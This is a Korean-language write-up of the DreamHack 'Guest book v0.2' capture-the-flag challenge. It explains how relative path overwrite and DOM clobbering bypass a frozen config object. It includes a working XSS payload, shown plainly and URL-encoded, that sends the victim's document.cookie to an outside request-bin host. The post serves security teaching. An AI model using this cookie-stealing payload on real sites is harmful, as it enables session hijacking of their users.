๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/DreamHack

DreamHack - Guest book v0.2 ํ’€์ด

by Janger 2023. 9. 7.
728x90
๋ฐ˜์‘ํ˜•

๋จผ์ € ํŽ˜์ด์ง€ ํ•˜๋‹จ์— ์ž‘์„ฑ๋œ ํƒœ๊ทธ๋“ค์„ ์ฐพ๊ฒŒ ๋˜๋ฉด ๋ฌธ์ œ ํ‘ธ๋Š” ์†๋„๊ฐ€ ๋นจ๋ž์„ ๊ฒƒ์ด๋‹ค.

    <script src="config.js"></script>
    <script>
      if(window.CONFIG && window.CONFIG.debug){
        location.href = window.CONFIG.main;
      }
    </script>

 

config.js์˜ ๋‚ด์šฉ์€ ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

window.CONFIG = {
  version: "v0.2",
  main: "/",
  debug: false,
  debugMSG: ""
}

// prevent overwrite
Object.freeze(window.CONFIG);

์•„๋ž˜์˜ Object.freeze ๋ฉ”์†Œ๋“œ์œผ๋กœ ์ธํ•ด window.CONFIG๊ฐ€ overwriting์ด ์•ˆ๋˜๋Š” ์ƒํ™ฉ์ด๋ฉฐ if ์กฐ๊ฑด์ด false๋กœ ๋‚˜์˜ค๋ฉด์„œ ์•„๋ž˜์˜ "localtion.href = window.CONFIG.main" ๋ผ์ธ์„ ์‹คํ–‰ํ•˜์ง€ ๋ชปํ•œ๋‹ค. 

 

config.js ์šฐํšŒ ๋ฐฉ๋ฒ•

<script src="config.js"></script> ์ชฝ์— ๋ฌธ์ œ์ ์ด ํ•˜๋‚˜ ์žˆ์—ˆ๋‹ค. ๋ฐ”๋กœ .js ์ž์›์„(config.js) ์ƒ๋Œ€ ๊ฒฝ๋กœ ํ˜•ํƒœ๋กœ ์ฝ์–ด์˜จ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

 

์˜ˆ๋ฅผ ๋“ค๋ฉด ํŽ˜์ด์ง€ URL์„ "127.0.0.1/example"์œผ๋กœ ์ ‘์†ํ•ด์„œ config.js ์ž์›์„ ์š”์ฒญ์„ ํ•˜๋ฉด "127.0.0.1/config.js"์— ์œ„์น˜ํ•œ ํŒŒ์ผ์„ ๊ฐ€์ ธ์˜ค์ง€๋งŒ

 

์ฃผ์†Œ๊ฐ€ "127.0.0.1/example/"์— ์ ‘์†๋œ ์ƒํƒœ์—์„œ config.js ์ž์›์„ ์š”์ฒญํ•˜๋ฉด ์ด๋ฒˆ์—” "127.0.0.1/example/config.js"์— ์œ„์น˜ํ•œ ํŒŒ์ผ์„ ์š”์ฒญํ•œ๋‹ค. (/example ๋’ค์— /๋ฅผ ๋” ๋ถ™์ธ ๊ฒฝ์šฐ)

 

์ด๊ฒŒ src ๊ฐ’์œผ๋กœ ์ƒ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์“ฐ์˜€๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ€๋Šฅํ•œ ์ผ์ด๋ฉฐ ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์„ RPO(Relative Path Overwrite)์ด๋ผ๊ณ  ํ•œ๋‹ค.

๋ฌธ์ œ์—์„œ config.js ํŒŒ์ผ์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” "/GuestBook.php/?content=" ์ฃผ์†Œ ํ˜•ํƒœ๋กœ ํŽ˜์ด์ง€์— ์ ‘์† ํ•ด์•ผ ํ•œ๋‹ค. 

 

 

Dom Clobbering

 

์ด์ œ๋Š” location.href = window.CONFIG.main;๋ฅผ ์ด์šฉํ•ด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ javascript๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋„๋ก ํ•ด์•ผ ํ•˜๋Š”๋ฐ ์ด๋Ÿด ๋•Œ๋Š” Dom Clobbering ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•˜๋ฉด ๋œ๋‹ค.

 

<a id='CONFIG'> --> window.CONFIG;
<b id='CONFIG' name='debug'> --> window.CONFIG.debug;
<c id='config' name='main'> --> window.CONFIG.main;

 

 

[dreamhack](' id='CONFIG' ')
[dreamhack](' id='CONFIG' name='debug' ')
[dreamhack](javascript:location.href=`https://xhhoeby.request.dreamhack.games?cookie=${document.cookie}`' id='CONFIG' name='main' ')

"localtion.href = window.CONFIG.main" ๋ผ์ธ์„ ์‹คํ–‰ํ•˜๊ฒŒ ๋˜๋ฉด

javascript:location.href=`https://xhhoeby.request.dreamhack.games?cookie=${document.cookie}`๊ฐ€ ์‹คํ–‰ ๋˜๋ฉด์„œ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋กœ ์ฟ ํ‚ค ๊ฐ’์ด ์š”์ฒญํ•˜๊ฒŒ ๋œ๋‹ค. 

 

์ •๋‹ต ์ฝ”๋“œ

/GuestBook.php/?content=%5Bdreamhack%5D('%20id='CONFIG'%20')%0D%0A%5Bdreamhack%5D('%20id='CONFIG'%20name='debug'%20')%0D%0A%5Bdreamhack%5D(javascript:location.href=%60https://xhhoeby.request.dreamhack.games?cookie=$%7Bdocument.cookie%7D%60'%20id='CONFIG'%20name='main'%20')

Reference

https://learn.dreamhack.io/18#31

728x90
๋ฐ˜์‘ํ˜•